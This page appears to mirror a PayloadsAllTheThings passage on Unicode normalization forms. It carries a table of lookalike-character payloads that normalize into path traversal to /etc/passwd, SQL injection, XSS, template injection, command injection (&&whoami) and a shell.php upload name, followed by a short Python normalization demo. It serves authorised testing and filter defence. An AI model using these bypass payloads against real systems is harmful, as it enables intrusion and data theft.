Skip to content

Encoding Transformations · passage 3 of 5

Unicode Normalization

1 code block · Encoding Transformations/README.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

Open this passage on GitHub

Unicode normalization is the process of converting Unicode text into a standardized, consistent form so that equivalent characters are represented the same way in memory. [Unicode Normalization reference table](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html) * **NFC** (Normalization Form Canonical Composition): Combines decomposed sequences into precomposed characters where possible. * **NFD** (Normalization Form Canonical Decomposition): Breaks characters into their decomposed forms (base + combining marks). * **NFKC** (Normalization Form Compatibility Composition): Like NFC, but also replaces characters with compatibility equivalents (may change appearance/format). * **NFKD** (Normalization Form Compatibility Decomposition): Like NFD, but also decomposes compatibility characters. | Character | Payload | After Normalization | | ------------- | --------------------- | --------------------- | | `‥` (U+2025) | `‥/‥/‥/etc/passwd` | `../../../etc/passwd` | | `︰` (U+FE30) | `︰/︰/︰/etc/passwd` | `../../../etc/passwd` | | `'` (U+FF07) | `' or '1'='1` | `' or '1'='1` | | `"` (U+FF02) | `" or "1"="1` | `" or "1"="1` | | `﹣` (U+FE63) | `admin'﹣﹣` | `admin'--` | | `。` (U+3002) | `domain。com` | `domain.com` | | `/` (U+FF0F) | `//domain.com` | `//domain.com` | | `<` (U+FF1C) | `<img src=a>` | `<img src=a/>` | | `﹛` (U+FE5B) | `﹛﹛3+3﹜﹜` | `{{3+3}}` | | `[` (U+FF3B) | `[[5+5]]` | `[[5+5]]` | | `&` (U+FF06) | `&&whoami` | `&&whoami` | | `p` (U+FF50) | `shell.pʰp` | `shell.php` | | `ʰ` (U+02B0) | `shell.pʰp` | `shell.php` | | `ª` (U+00AA) | `ªdmin` | `admin` |

import unicodedata
string = "ᴾᵃʸˡᵒᵃᵈˢ𝓐𝓵𝓵𝕋𝕙𝕖𝒯𝒽𝒾𝓃ℊ𝓈"
print ('NFC: ' + unicodedata.normalize('NFC', string))
print ('NFD: ' + unicodedata.normalize('NFD', string))
print ('NFKC: ' + unicodedata.normalize('NFKC', string))
print ('NFKD: ' + unicodedata.normalize('NFKD', string))

Source: Encoding Transformations/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.

Every one of the 5 is a mark on the map. Named now: 1 to 5, reading order first.

  1. Encoding and Transformations§ 1text · README.md
  2. Unicode§ 2text · README.md
  3. Unicode Normalization§ 31 code block · README.md
  4. Punycode§ 42 code blocks · README.md
  5. Base64§ 51 code block · README.md

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-14. CVE List through 2026-11-14 · EPSS of 2026-11-13 · CISA KEV checked 2026-11-14. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only. Use this via MCP

Updated AboutDevelopersSign in